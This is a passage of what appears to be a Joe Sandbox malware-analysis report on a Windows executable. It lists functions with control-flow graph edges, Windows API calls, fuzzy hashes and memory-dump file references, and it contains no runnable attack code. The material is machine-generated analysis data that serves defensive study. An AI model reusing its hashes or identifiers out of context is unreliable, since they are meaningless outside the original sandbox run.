                                                                                                          • Opcode Fuzzy Hash: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
                                                                                                          • Instruction Fuzzy Hash: E0118E72A00109EFCF01AFA4D8818DE7F76EF08318F10412AF512B21A1CB398A65DF94
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040483F Relevance: 6.0, APIs: 4, Instructions: 36filetimeCOMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 719 40483f-40484b 720 404859-404876 CreateFileW 719->720 721 40484d-404857 SetLastError 719->721 723 404894-404896 720->723 724 404878-40488e SetFileTime CloseHandle 720->724 722 404897-404899 721->722 723->722 724->723
                                                                                                          APIs
                                                                                                          • SetLastError.KERNEL32(00000078,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040484F
                                                                                                          • CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040486B
                                                                                                          • SetFileTime.KERNELBASE(00000000,00000000,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000), ref: 00404882
                                                                                                          • CloseHandle.KERNEL32(00000000,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?), ref: 0040488E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: File$CloseCreateErrorHandleLastTime
                                                                                                          • String ID:
                                                                                                          • API String ID: 2291555494-0
                                                                                                          • Opcode ID: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
                                                                                                          • Instruction ID: 64467d0e5ceda328e6e32eae128236dd02d513a4ef1926b956b8d25c0d97de23
                                                                                                          • Opcode Fuzzy Hash: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
                                                                                                          • Instruction Fuzzy Hash: B4F0E2762803507BE2302B60AC48F9B6E5CDBC9B25F108535B2A5A20E0C2294D1992B8
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00408524 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 328COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 725 408524-40853c call 413954 728 408546-408579 call 40455d call 402170 725->728 729 40853e-408544 725->729 735 4085c5-4085dd call 4032a8 728->735 736 40857b-40857e 728->736 729->728 742 4085ef-4085f9 735->742 743 4085df-4085ed call 4039df 735->743 738 408582-408586 736->738 740 408590-408594 738->740 741 408588-40858a 738->741 746 408599-40859b 740->746 744 408596 741->744 745 40858c-40858e 741->745 748 4085fb-40860c call 4088ce 742->748 749 40863c-408640 742->749 759 40865e-408664 743->759 744->746 745->738 746->735 750 40859d-4085c4 call 401e19 call 401d7a call 403a9c 746->750 766 40862d-408631 call 4039df 748->766 767 40860e-40862b call 404407 748->767 751 408642-408646 749->751 752 40865c 749->752 750->735 757 408652-408657 call 4042eb 751->757 758 408648-40864d 751->758 752->759 757->752 762 408736-408755 call 4042ad call 403a9c * 2 758->762 764 408733-408735 759->764 765 40866a-40866f 759->765 793 408756-408764 762->793 764->762 772 408671-408678 call 4065b2 765->772 773 408683-4086ad call 40640d 765->773 776 408636-40863a 766->776 767->776 781 40867b-40867d 772->781 787 4086b5-4086b8 773->787 788 4086af-4086b3 773->788 776->748 776->749 781->773 782 408767-408769 781->782 782->762 791 4086d0-4086ea 787->791 792 4086ba-4086c7 787->792 790 408724-40872d 788->790 790->764 790->765 797 40876b-408774 791->797 798 4086ec-408701 791->798 856 4086c8 call 40df69 792->856 857 4086c8 call 40d1ab 792->857 794 4086cb-4086ce 796 408709-40870d 794->796 801 4087a1-4087a4 796->801 802 408713-40871c 796->802 799 408776-408778 797->799 800 40877c-40879f call 4042ad call 403a9c * 2 797->800 798->796 808 408703-408705 798->808 799->800 800->793 805 4087a6-4087af 801->805 806 4087bf-4087de 801->806 802->790 803 40871e-408720 802->803 803->790 810 4087b1-4087b3 805->810 811 4087b7-4087ba 805->811 814 4087e0-4087e8 806->814 815 4087f8-40881b call 405e34 call 40640d 806->815 808->796 810->811 811->762 817 4087ea 814->817 818 4087ef-4087f3 call 401d1b 814->818 826 408879-408886 call 4088ce 815->826 827 40881d-408877 call 401c80 * 2 call 407d82 call 401d7a call 403a9c * 3 815->827 817->818 818->815 832 408888 826->832 833 40888a-4088b5 call 407d82 call 401d7a call 403a9c 826->833 847 4088b6-4088bf 827->847 832->833 833->847 849 4088c1-4088c3 847->849 850 4088c7-4088c9 847->850 849->850 850->762 856->794 857->794
                                                                                                          APIs
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID: 83B$Unknown error
                                                                                                          • API String ID: 3519838083-1944086607
                                                                                                          • Opcode ID: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
                                                                                                          • Instruction ID: d43b38567734cbd3d280cef04a8de17ccbe463ec1fdb7709e9180388f705ec22
                                                                                                          • Opcode Fuzzy Hash: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
                                                                                                          • Instruction Fuzzy Hash: A5D17070900259EFCF05DFA4C944ADEBB74BF14318F20846EF845BB291CB78AA45CB95
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00408F0A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 206COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00408F0F
                                                                                                          • GetLastError.KERNEL32(?,00000003,00000003,00000003,?,?,00000000), ref: 00408FD3
                                                                                                            • Part of subcall function 00409184: __EH_prolog.LIBCMT ref: 00409189
                                                                                                            • Part of subcall function 004092E9: __EH_prolog.LIBCMT ref: 004092EE
                                                                                                            • Part of subcall function 00408A3B: __EH_prolog.LIBCMT ref: 00408A40
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog$ErrorLast
                                                                                                          • String ID: KA
                                                                                                          • API String ID: 2901101390-4133974868
                                                                                                          • Opcode ID: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
                                                                                                          • Instruction ID: 1ffdda1e280707f1620b0bff2a1c5a648dc862d45b7bd7d33f28712355ced64d
                                                                                                          • Opcode Fuzzy Hash: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
                                                                                                          • Instruction Fuzzy Hash: 7C81677190020AABCF01EFA5C885ADEBBB5BF18318F14416EF455B32A2CB399A05CB54
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004049DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 941 4049dd-404a02 call 413954 call 401c80 946 404a04-404a07 941->946 947 404a4a-404a59 call 401ce1 941->947 949 404a0b-404a0e 946->949 953 404a5d-404a67 call 40499c 947->953 951 404a10-404a12 949->951 952 404a18-404a1c 949->952 954 404a14-404a16 951->954 955 404a1e 951->955 956 404a21-404a23 952->956 961 404b42-404b49 call 401d7a 953->961 962 404a6d-404a78 GetLastError 953->962 954->949 955->956 956->947 958 404a25-404a2a 956->958 958->947 960 404a2c-404a2f 958->960 963 404a31-404a36 960->963 964 404a3f-404a45 call 4023ee 960->964 974 404b4e-404b51 961->974 966 404aea-404afc call 402ee1 call 405841 962->966 967 404a7a-404a7f 962->967 963->964 969 404a38-404a3a 963->969 964->947 993 404b01-404b03 966->993 971 404bb2 967->971 972 404a85-404a88 967->972 970 404bc0-404bc6 call 403a9c 969->970 990 404bc7-404bd7 970->990 978 404bb4-404bbf call 403a9c 971->978 976 404a8c-404a8f 972->976 979 404b57-404b5a 974->979 980 404bd8-404bda 974->980 984 404a91-404a93 976->984 985 404a99-404a9f 976->985 978->970 982 404b5e-404b64 979->982 980->978 988 404b66-404b69 982->988 989 404b6f-404b75 982->989 991 404aa1 984->991 992 404a95-404a97 984->992 994 404aa4-404aa6 985->994 996 404b77 988->996 997 404b6b-404b6d 988->997 998 404b7a-404b7c 989->998 991->994 992->976 999 404b05-404b07 993->999 1000 404b09-404b11 993->1000 994->971 995 404aac 994->995 995->971 1004 404ab2-404ab8 995->1004 996->998 997->982 1005 404b81-404bb0 call 401e3a call 40499c call 403a9c 998->1005 1006 404b7e 998->1006 1001 404b15-404b30 call 403a9c * 3 999->1001 1002 404b13 1000->1002 1003 404b35-404b41 call 403a9c 1000->1003 1001->990 1002->1001 1003->961 1004->971 1008 404abe-404ae5 call 401e3a call 401d7a call 403a9c 1004->1008 1005->971 1005->974 1006->1005 1008->953
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 004049E2
                                                                                                          • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00404A6D
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: ErrorH_prologLast
                                                                                                          • String ID: KA
                                                                                                          • API String ID: 1057991267-4133974868
                                                                                                          • Opcode ID: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
                                                                                                          • Instruction ID: ea88e0dbf276ed2b61ac96949af9a946984d9cda694903235269fb2a0f105987
                                                                                                          • Opcode Fuzzy Hash: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
                                                                                                          • Instruction Fuzzy Hash: 14512671A4010A9ACF10EBA0C945AFFBB74EF91318F14017BE601732D1D779AE46CB99
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00401AF4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 1028 401af4-401b2e call 413954 call 413cc0 call 405b6d 1035 401b30-401b3e call 405975 1028->1035 1036 401b43-401b49 1028->1036 1044 401c6b-401c78 1035->1044 1038 401b57-401b60 1036->1038 1039 401b4b-401b55 1036->1039 1041 401b62-401b6c 1038->1041 1042 401b6e-401b7b 1038->1042 1039->1038 1039->1039 1041->1041 1041->1042 1043 401b7f-401b96 call 405bca 1042->1043 1046 401b9b-401b9d 1043->1046 1047 401ba3-401ba8 1046->1047 1048 401c5a 1046->1048 1049 401c56-401c58 1047->1049 1050 401bae-401bb0 1047->1050 1051 401c5c-401c6a call 405975 1048->1051 1049->1051 1052 401bb6-401bbc 1050->1052 1051->1044 1054 401bf0-401bf5 1052->1054 1055 401bbe-401bc3 1052->1055 1057 401c16-401c3b call 413980 1054->1057 1058 401bf7-401c08 call 4134d0 1054->1058 1055->1057 1059 401bc5-401bd6 call 4134d0 1055->1059 1068 401c4a-401c54 1057->1068 1069 401c3d-401c44 1057->1069 1066 401c0a-401c14 1058->1066 1067 401bec-401bee 1058->1067 1059->1049 1070 401bd8-401bdf 1059->1070 1066->1052 1067->1052 1068->1051 1069->1068 1071 401b7d 1069->1071 1070->1048 1072 401be1-401be7 call 401ee5 1070->1072 1071->1043 1072->1067
                                                                                                          APIs
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID: KA$KA
                                                                                                          • API String ID: 3519838083-594506476
                                                                                                          • Opcode ID: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
                                                                                                          • Instruction ID: 3866b3b7da3d7396f9922ec017f7e66c93d936b9f161a27d318f0a0663603341
                                                                                                          • Opcode Fuzzy Hash: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
                                                                                                          • Instruction Fuzzy Hash: 7451CF72D042199FDF11DFA4C940BEEBBB4AF05394F14416AE851732E2E3789E85CB68
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00416CB8 Relevance: 4.6, APIs: 3, Instructions: 51COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 1074 416cb8-416cc7 call 416d5d 1077 416cc9-416cd4 GetCurrentProcess TerminateProcess 1074->1077 1078 416cda-416cf0 1074->1078 1077->1078 1079 416cf2-416cf9 1078->1079 1080 416d2e-416d42 call 416d6f 1078->1080 1081 416cfb-416d07 1079->1081 1082 416d1d-416d2d call 416d6f 1079->1082 1091 416d44-416d4a call 416d66 1080->1091 1092 416d4b-416d55 ExitProcess 1080->1092 1084 416d09-416d0d 1081->1084 1085 416d1c 1081->1085 1082->1080 1088 416d11-416d1a 1084->1088 1089 416d0f 1084->1089 1085->1082 1088->1084 1088->1085 1089->1088
                                                                                                          APIs
                                                                                                          • GetCurrentProcess.KERNEL32(?,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CCD
                                                                                                          • TerminateProcess.KERNEL32(00000000,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CD4
                                                                                                          • ExitProcess.KERNEL32 ref: 00416D55
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Process$CurrentExitTerminate
                                                                                                          • String ID:
                                                                                                          • API String ID: 1703294689-0
                                                                                                          • Opcode ID: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
                                                                                                          • Instruction ID: 207b1b8771569bb39d21ff3be241c2a042127402aedffa1bc22b33ac5a943006
                                                                                                          • Opcode Fuzzy Hash: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
                                                                                                          • Instruction Fuzzy Hash: 7A01C4323002119BD630AF69FC86A9A7BA5FB41715BA2802FF45057151DB7CD8C28B5D
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00407093 Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 1095 407093-4070c7 call 413954 EnterCriticalSection call 4065b2 1099 4070c9-4070d7 call 406505 1095->1099 1100 4070da-4070f2 LeaveCriticalSection 1095->1100 1099->1100
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00407098
                                                                                                          • EnterCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070A9
                                                                                                          • LeaveCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070DD
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalSection$EnterH_prologLeave
                                                                                                          • String ID:
                                                                                                          • API String ID: 367238759-0
                                                                                                          • Opcode ID: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
                                                                                                          • Instruction ID: a56bdc6fde0de93627b634a906b5586fd045a2fb55df8f4462ae58feb39c4b8d
                                                                                                          • Opcode Fuzzy Hash: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
                                                                                                          • Instruction Fuzzy Hash: D7018176A00204EFCB118F94CC08B9ABBB5FF48715F00841AFD12E7250C3B4A910CFA0
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040DD8B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 1103 40dd8b-40ddb0 call 413954 call 40776f 1108 40ddb6-40ddbf call 40df2c 1103->1108 1109 40df1b-40df29 1103->1109 1112 40ddc1-40ddc3 1108->1112 1113 40ddc8-40ddfe call 4076d5 call 414090 1108->1113 1112->1109 1118 40de01-40de06 1113->1118 1119 40de25-40de47 call 406505 1118->1119 1120 40de08-40de15 1118->1120 1126 40df07 1119->1126 1127 40de4d-40de55 1119->1127 1121 40decb-40dece 1120->1121 1122 40de1b 1120->1122 1124 40df09-40df19 call 403a9c 1121->1124 1122->1119 1125 40de1d-40de1f 1122->1125 1124->1109 1125->1119 1125->1121 1126->1124 1127->1121 1129 40de57-40de5b 1127->1129 1129->1119 1131 40de5d-40de6d 1129->1131 1132 40dec6-40dec9 1131->1132 1133 40de6f 1131->1133 1134 40deaa-40dec1 call 413980 1132->1134 1135 40de77 1133->1135 1134->1118 1137 40de7a-40de7e 1135->1137 1139 40de80-40de82 1137->1139 1140 40de8a 1137->1140 1141 40de84-40de88 1139->1141 1142 40de8c 1139->1142 1140->1142 1141->1137 1142->1134 1143 40de8e-40de97 call 40df2c 1142->1143 1146 40ded0-40df04 call 414090 call 4065b2 1143->1146 1147 40de99-40dea2 1143->1147 1146->1126 1148 40de71-40de74 1147->1148 1149 40dea4-40dea7 1147->1149 1148->1135 1149->1134
                                                                                                          APIs
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-3916222277
                                                                                                          • Opcode ID: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
                                                                                                          • Instruction ID: cf89379ab294d4739916b9706e3dd1d7b183837ff3903d8a06049ba810aa014c
                                                                                                          • Opcode Fuzzy Hash: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
                                                                                                          • Instruction Fuzzy Hash: 19515E71E006069BDB14DFA9C881ABFB7B5EF98304F14853AE405BB381D778A9458BA4
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00403113 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 1154 403113-40313f call 413954 call 402ee1 call 405841 1161 403141-403156 call 401d1b 1154->1161 1162 403158-40315d 1154->1162 1168 4031b9-4031c1 call 403a9c 1161->1168 1164 403167 1162->1164 1165 40315f-403165 1162->1165 1167 40316a-4031a9 call 4032a8 call 408f0a call 4042ad 1164->1167 1165->1167 1179 4031c6-4031e8 call 401ce1 call 405d0b call 4049dd 1167->1179 1180 4031ab-4031b4 call 401d1b 1167->1180 1174 403298 1168->1174 1176 403299-4032a7 1174->1176 1188 40322a-40327f call 401c80 call 402685 call 403a9c 1179->1188 1189 4031ea-403228 call 409569 call 401d7a call 403a9c * 3 1179->1189 1180->1168 1211 403281 call 40c231 1188->1211 1212 403281 call 40bbc9 1188->1212 1189->1176 1204 403284-403297 call 403a9c * 2 1204->1174 1211->1204 1212->1204
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00403118
                                                                                                            • Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846
                                                                                                            • Part of subcall function 004049DD: __EH_prolog.LIBCMT ref: 004049E2
                                                                                                            • Part of subcall function 00409569: __EH_prolog.LIBCMT ref: 0040956E
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID: Default
                                                                                                          • API String ID: 3519838083-753088835
                                                                                                          • Opcode ID: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
                                                                                                          • Instruction ID: 6c236086827897a16f525891fa60e3e62c5941a793998487ad20a929e2e28791
                                                                                                          • Opcode Fuzzy Hash: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
                                                                                                          • Instruction Fuzzy Hash: 76516071900609EFCB10EFA5D8859EEBBB8FF08318F00456FE45277291DB38AA05CB14
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00402F15 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00402F1A
                                                                                                            • Part of subcall function 00403376: __EH_prolog.LIBCMT ref: 0040337B
